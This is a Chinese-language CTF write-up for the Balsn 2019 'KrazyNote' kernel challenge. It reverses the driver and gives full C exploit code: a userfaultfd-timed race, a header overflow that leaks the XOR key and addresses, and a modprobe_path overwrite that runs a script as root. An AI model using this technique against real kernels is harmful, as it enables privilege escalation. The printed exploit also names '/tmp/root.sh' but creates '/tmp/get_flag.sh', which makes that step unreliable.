Balsn_CTF_2019-KrazyNote-WP

Posted on Jul 19, 2021

这道题的利用难度其实比较低,主要的难度在逆向上。说实话,乱七八糟的反编译代码是把我绕惨了。最近这段时间碰到了不少题目都是败在逆向上,我也意识到有必要提高一下逆向水平。

此题注册了一个驱动,只有一个 ioctl 操作,在其中实现了一个增删查改的笔记管理器。比较特殊的有三点

  1. 笔记存储时进行了异或加密,不仅使我们的 leak 变得麻烦,更使代码变得恶心了许多
  2. 自己实现了一个简单的内存管理系统用于笔记的内存分配
  3. ioctl 为 unlocked_ioctl,这代表内核并不会保证 ioctl 的线程同步,而驱动对 ioctl 的实现也没有加入同步原语,这代表 ioctl 可能可以发生条件竞争。

分析流程

用户传入的结构体为

struct UserArg
{
  __int64 idx;
  unsigned __int8 size;
  char *content;
};

内部存储笔记的结构体为

struct NOTE
{
  __int64 xor_encrypt_key;
  unsigned __int8 size;
  __int64 offset;
  char content[size];
};

然后看一下各个操作,首先是 add 操作

    if ( (_DWORD)cmd != 0xFFFFFF00 )            // add; cmd == 0xFFFFFF00
      return -25LL;
    user_arg.idx = -1LL;
    idx_iter = 0LL;
    while ( 1 )                                 // find an unused place
    {
      unused_idx = (int)idx_iter;
      if ( !note_arr[idx_iter] )
        break;
      if ( ++idx_iter == 16 )
        return -14LL;
    }
    head_ptr = note_buf_ptr;
    user_arg.idx = unused_idx;
    note_arr[unused_idx] = note_buf_ptr;
    *(_QWORD *)&head_ptr->size = user_arg_size;
    content_ptr = head_ptr + 1;
    head_ptr->xor_encrypt_key = *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned int)&current_task) + 2024) + 80LL);
    new_size = *(_QWORD *)&user_arg.size;
    user_buf = user_arg.content;
    note_buf_ptr = (struct NOTE *)((char *)head_ptr + *(_QWORD *)&user_arg.size + 24);// update note_buf_ptr
    if ( *(_QWORD *)&user_arg.size > 256uLL )
    {
      _warn_printk("Buffer overflow detected (%d < %lu)!\n", 256LL, *(_QWORD *)&user_arg.size);
      BUG();
    }
    _check_object_size(src, *(_QWORD *)&user_arg.size, 0LL);
    copy_from_user(src, user_buf, new_size);
    v25 = *(_QWORD *)&user_arg.size;
    v26 = note_arr[user_arg.idx];
    if ( *(_QWORD *)&user_arg.size )
    {
      v27 = 0LL;
      do
      {
        src[v27 / 8] ^= v26->xor_encrypt_key;
        v27 += 8LL;
      }
      while ( v27 < v25 );
    }
    memcpy(content_ptr, src, v25);
    result = 0LL;
    v26->offset = (__int64)content_ptr - page_offset_base;

这里比较乱,实际上做的事情还是比较简单的,就是将用户传入的字符串与加密密钥异或后拷贝到内核中 note_arr[idx].content

edit 操作

  if ( (_DWORD)cmd == 0xFFFFFF01 )              // edit; cmd == 0xFFFFFF01
  {
    note = note_arr[idx];
    if ( note )
    {
      size = note->size;
      user_content = user_arg.content;
      address = (_QWORD *)(note->offset + page_offset_base);
      _check_object_size(src, size, 0LL);
      copy_from_user(src, user_content, size);
      if ( size )
      {
        v19 = note_arr[user_arg.idx];
        for ( i = 0LL; i < size; i += 8LL )
          src[i / 8] ^= v19->xor_encrypt_key;
        if ( (unsigned int)size >= 8 )
        {
          *address = src[0];
          *(_QWORD *)((char *)address + (unsigned int)size - 8) = *(__int64 *)((char *)&src[-1] + (unsigned int)size);
          result = 0LL;
          qmemcpy(
            (void *)((unsigned __int64)(address + 1) & 0xFFFFFFFFFFFFFFF8LL),
            (const void *)((char *)src - ((char *)address - ((unsigned __int64)(address + 1) & 0xFFFFFFFFFFFFFFF8LL))),
            8LL * (((unsigned int)size + (_DWORD)address - (((_DWORD)address + 8) & 0xFFFFFFF8)) >> 3));
          return result;
        }
      }
      if ( (size & 4) != 0 )
      {
        *(_DWORD *)address = src[0];
        *(_DWORD *)((char *)address + (unsigned int)size - 4) = *(_DWORD *)((char *)src + (unsigned int)size - 4);
        return 0LL;
      }
      if ( (_DWORD)size )
      {
        *(_BYTE *)address = src[0];
        if ( (size & 2) != 0 )
          *(_WORD *)((char *)address + (unsigned int)size - 2) = *(_WORD *)((char *)src + (unsigned int)size - 2);
      }
    }
    return 0LL;
  }

和 add 差不多

show 操作就是把数据通过密钥解密后拷贝到用户态

    v10 = note_arr[idx];                        // show; cmd == 0xFFFFFF02
    result = 0LL;
    if ( v10 )
    {
      v11 = v10->size;
      v12 = (_DWORD *)(v10->offset + page_offset_base);
      if ( (unsigned int)v11 >= 8 )
      {
        *(__int64 *)((char *)&src[-1] + v10->size) = *(_QWORD *)((char *)v12 + v10->size - 8);
        qmemcpy(src, v12, 8LL * ((unsigned int)(v11 - 1) >> 3));
      }
      else if ( (v11 & 4) != 0 )
      {
        LODWORD(src[0]) = *v12;
        *(_DWORD *)((char *)src + (unsigned int)v11 - 4) = *(_DWORD *)((char *)v12 + (unsigned int)v11 - 4);
      }
      else if ( v10->size )
      {
        LOBYTE(src[0]) = *(_BYTE *)v12;
        if ( (v11 & 2) != 0 )
          *(_WORD *)((char *)src + (unsigned int)v11 - 2) = *(_WORD *)((char *)v12 + (unsigned int)v11 - 2);
      }
      if ( v11 )
      {
        for ( j = 0LL; j < v11; j += 8LL )
          src[j / 8] ^= v10->xor_encrypt_key;
      }
      v14 = user_arg.content;
      _check_object_size(src, v11, 1LL);
      copy_to_user(v14, src, v11);
      result = 0LL;

还有一个 clear_all 操作可以清空所有的 chunk

if ( (_DWORD)cmd != 0xFFFFFF02 )
    {
      v6 = note_arr;
      if ( (_DWORD)cmd == 0xFFFFFF03 )          // clear all; cmd == 0xFFFFFF03
      {
        do
          *v6++ = 0LL;
        while ( &_check_object_size != (__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD))v6 );// reach the end of the note_arr
        result = 0LL;
        note_buf_ptr = (struct NOTE *)&note_buf;
        memset(&note_buf, 0, 0x2000uLL);
        return result;
      }
      return -25LL;
    }

利用

考虑到 ioctl 自身可以发生条件竞争,那么考虑在 edit 操作中,在 copy_from_user 时通过 userfaultfd 暂停此线程,此时释放掉原先被 edit 的 chunk,再申请一个更小的 chunk 到原先的 chunk 位置上,这样 userfaultfd 结束后,edit 操作就出现了溢出,可以对后方的 chunk 头部字段进行修改。

具体的

char buf_null[0x200], buf_content[0x200];  

void* comp_thread()
{
    sleep(1);
    puts("[+] comp start");
    note_clear_all();
    note_add(0, buf_null);
    note_add(0x10, buf_null);
    note_add(0x10, buf_null);
    puts("[+] comp done!");
}

int main()
{
    note_fd = open("/dev/note", O_RDWR);
    if (note_fd < 0)
    {
        err_exit("open note failed!");
    }

    note_add(0x10, buf_null); // idx: 0

    char* sleep3_memA = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (sleep3_memA == MAP_FAILED)
    {
        err_exit("mmap failed!");
    }
    register_userfault(sleep3_memA, userfaultfd_sleep3_edit_handler);

    pthread_t thr;
    pthread_create(&thr, NULL, comp_thread, NULL);
    note_edit(0, sleep3_memA);

先申请一个 chunk,大小需要大于 0x10,这样才能修改下一个 chunk 的 size 字段完成进一步利用。然后在竞争线程中,申请两个 chunk,一个 size 为 0(保证溢出 0x10 个字节),另两个大小无所谓,小一点就可以了。

这样可以溢出 0x10 个字节,可以起到修改下一个 chunk 的 size 字段,我们在这里把它改大,比如申请的是 0x10 大小,把它扩大到 0x20,这样在对 idx 为 1 chunk 的进行 show 的时候就可以把异或加密密钥和 offset 都 leak 出来

在修改时第一个 8 字设置为 0,这样就不会修改 idx 为 1 的 chunk 的异或密钥,把第二个 8 字设置为 0xF0,由于异或密钥的低 12 位都为零,异或之后 0xF0 也可以直接写进去,并且 size 的类型为 int8,这样可以起到把第二个 chunk 的 size 改大的效果。

此时的堆布局应该类似于下面这个样子

pwndbg> x/20xg 0xffffffffc0042000 + 0x2520
0xffffffffc0044520:     0xffff8eee86ac2000      0x0000000000000000
0xffffffffc0044530:     0x0000711140044538      0xffff8eee86ac2000
0xffffffffc0044540:     0xffff8eee86ac20f0      0x0000711140044550
0xffffffffc0044550:     0xffff8eee86ac2000      0xffff8eee86ac2000
0xffffffffc0044560:     0xffff8eee86ac2000      0x0000000000000010
0xffffffffc0044570:     0x0000711140044578      0xffff8eee86ac2000
0xffffffffc0044580:     0xffff8eee86ac2000      0x0000000000000000
0xffffffffc0044590:     0x0000000000000000      0x0000000000000000
0xffffffffc00445a0:     0x0000000000000000      0x0000000000000000
0xffffffffc00445b0:     0x0000000000000000      0x0000000000000000

然后对 idx 为 1 的 chunk 执行 show 操作,会把 idx 为 2 的 chunk 的 size 和 offset 字段经过异或后打出来,这样就 leak 了异或密钥,进而可以算出 offset 的值。

这个时候由于修改了 idx 1 的 chunk 的 size,所以通过 chunk 1 也可以轻松地溢出,实现任意地址读写,读出、算出 global_offset_base 和 modprobe_path 后就可以以 root 权限执行任意代码了(劫持方式可以参考此文)。

这里 leak modprobe_path 可能比较头疼,我刚开时以为 leak 出来内核基址就可以直接算出来了,结果没想到偏移是会变的。那么只能通过代码段来 leak,我们可以通过 note_arr leak 出 note 模块的地址

.text:000000000000006C 140 E8 7F 2B 00 00                          call    _copy_from_user ; Call Procedure

然后在 note 模块被 insmod 后,这里 call 后面就会填上此处和 _copy_from_user 的偏移,读出这里的值就可以一路算出 modprobe_path 的地址了。

exp

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <poll.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#define PAGE_SIZE 0x1000
char buf_sync_to_faultfd_page[PAGE_SIZE];


struct UserArg
{
    long long idx;
    long long size;
    char* buf;
};

int note_fd;

void note_add(unsigned char size, char* buf)
{
    struct UserArg tmp;
    tmp.idx = 0;
    tmp.size = size;
    tmp.buf = buf;
    ioctl(note_fd, 0xFFFFFF00, &tmp);
}

void note_edit(int idx, char* buf)
{
    struct UserArg tmp;
    tmp.idx = idx;
    tmp.size = 0;
    tmp.buf = buf;
    ioctl(note_fd, 0xFFFFFF01, &tmp);
}

void note_show(int idx, char* buf)
{
    struct UserArg tmp;
    tmp.idx = idx;
    tmp.buf = buf;
    tmp.size = 0;
    ioctl(note_fd, 0xFFFFFF02, &tmp);
}

void note_clear_all()
{
    struct UserArg tmp;
    memset(&tmp, 0, sizeof(tmp));
    ioctl(note_fd, 0xFFFFFF03, &tmp);
}

void err_exit(char* err_msg)
{
    printf("[-] ERROR: %s\n", err_msg);
    exit(-1);
}

void register_userfault(void *fault_page,void *handler)
{
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	ua.api = UFFD_API;
	ua.features    = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		err_exit("[-] ioctl-UFFDIO_API");

	ur.range.start = (unsigned long)fault_page; //我们要监视的区域
	ur.range.len   = PAGE_SIZE;
	ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
        //当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
		err_exit("[-] ioctl-UFFDIO_REGISTER");
	//开一个线程,接收错误的信号,然后处理
	int s = pthread_create(&thr, NULL,handler, (void*)uffd);
	if (s!=0)
		err_exit("[-] pthread_create");
}

void* userfaultfd_sleep3_edit_handler(void* arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long) arg;
	puts("[+] sleep3 handler created");
	int nready;
	struct pollfd pollfd;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	puts("[+] sleep3 handler unblocked");
	sleep(3);
	if (nready != 1)
	{
		err_exit("[-] Wrong poll return val");
	}
	nready = read(uffd, &msg, sizeof(msg));
	if (nready <= 0)
	{
		err_exit("[-] msg err");
	}

	char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (page == MAP_FAILED)
	{
		err_exit("[-] mmap err");
	}
	struct uffdio_copy uc;
	// init page
	memset(page, 0, sizeof(page));
    memcpy(page, buf_sync_to_faultfd_page, PAGE_SIZE);
	uc.src = (unsigned long) page;
	uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] sleep3 handler done");
	return NULL;
}

char buf_null[0x200], buf_content[0x200];  

void* comp_thread()
{
    sleep(1);
    puts("[+] comp start");
    note_clear_all();
    note_add(0, buf_null);      // idx 0
    note_add(0x10, buf_null);   // idx 1
    note_add(0x10, buf_null);   // idx 2
    puts("[+] comp done!");
}

int main()
{
    note_fd = open("/dev/note", O_RDWR);
    if (note_fd < 0)
    {
        err_exit("open note failed!");
    }

    note_add(0x10, buf_null); // idx: 0

    ((size_t*) buf_sync_to_faultfd_page)[0] = 0;
    ((size_t*) buf_sync_to_faultfd_page)[1] = 0xF0;

    char* sleep3_memA = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (sleep3_memA == MAP_FAILED)
    {
        err_exit("mmap failed!");
    }
    register_userfault(sleep3_memA, userfaultfd_sleep3_edit_handler);

    pthread_t thr;
    pthread_create(&thr, NULL, comp_thread, NULL);
    note_edit(0, sleep3_memA);

    note_show(1, buf_content);
    size_t xor_encrypt_key = (((size_t*)buf_content)[3]) & 0xFFFFFFFFFFFFF000;
    printf("[+] xor encrypt key leaked: 0x%lx\n", xor_encrypt_key);

    note_show(2, buf_content);
    size_t offset2_val = (((size_t*)buf_content)[4]) ^ xor_encrypt_key;
    size_t note_base_offset = offset2_val - 0x2578;
    size_t note_arr_offset = note_base_offset + 0x4520;
    printf("[+] note arr offset leaked: 0x%lx\n", offset2_val);

    memset(buf_content, 0, sizeof(buf_content));
    ((size_t*) buf_content)[0] = xor_encrypt_key ^ xor_encrypt_key;
    ((size_t*) buf_content)[1] = xor_encrypt_key ^ xor_encrypt_key;
    ((size_t*) buf_content)[2] = xor_encrypt_key ^ xor_encrypt_key;
    ((size_t*) buf_content)[3] = xor_encrypt_key ^ 0x10;
    ((size_t*) buf_content)[4] = xor_encrypt_key ^ note_arr_offset;
    note_edit(1, buf_content);
    note_show(2, buf_content);
    size_t note_base_addr = (((size_t*)buf_content)[0] ^ xor_encrypt_key) - 0x2520;
    printf("[+] note base addr leaked: 0x%lx\n", note_base_addr);
    size_t page_offset_base = note_base_addr - note_base_offset;
    printf("[+] page_offset_base leaked: 0x%lx\n", page_offset_base);

    memset(buf_content, 0, sizeof(buf_content));
    ((size_t*) buf_content)[0] = xor_encrypt_key ^ xor_encrypt_key;
    ((size_t*) buf_content)[1] = xor_encrypt_key ^ xor_encrypt_key;
    ((size_t*) buf_content)[2] = xor_encrypt_key ^ xor_encrypt_key;
    ((size_t*) buf_content)[3] = xor_encrypt_key ^ 0x10;
    ((size_t*) buf_content)[4] = xor_encrypt_key ^ (note_base_offset + 0x6C + 1);
    note_edit(1, buf_content);
    note_show(2, buf_content);
    size_t modprobe_path_addr = ((((((size_t*)buf_content)[0] ^ xor_encrypt_key) & 0xFFFFFFFF) \
    + note_base_addr + 0x6C + 1 + 4) + (note_base_addr & 0xFFFFFFFF00000000) ) + 0xD0A260;
    printf("[+] modprobe_path addr: 0x%lx\n", modprobe_path_addr);

    size_t modprobe_path_offset = modprobe_path_addr - page_offset_base;
    memset(buf_content, 0, sizeof(buf_content));
    ((size_t*) buf_content)[0] = xor_encrypt_key ^ xor_encrypt_key;
    ((size_t*) buf_content)[1] = xor_encrypt_key ^ xor_encrypt_key;
    ((size_t*) buf_content)[2] = xor_encrypt_key ^ xor_encrypt_key;
    ((size_t*) buf_content)[3] = xor_encrypt_key ^ 0x10;
    ((size_t*) buf_content)[4] = xor_encrypt_key ^ modprobe_path_offset;
    note_edit(1, buf_content);
    note_edit(2, "/tmp/root.sh");

	system("mkdir -p /tmp");
	system("echo '#!/bin/sh' > /tmp/get_flag.sh");
	system("echo 'chmod 777 /flag' >> /tmp/get_flag.sh");
	system("chmod +x /tmp/get_flag.sh");

	system("echo -e '\\xFF\\xFF\\xFF\\xFF' > /tmp/fake_elf");

	system("chmod +x /tmp/fake_elf");
	system("/tmp/fake_elf");
	system("cat /flag");

    while(1);

    return 0; 
}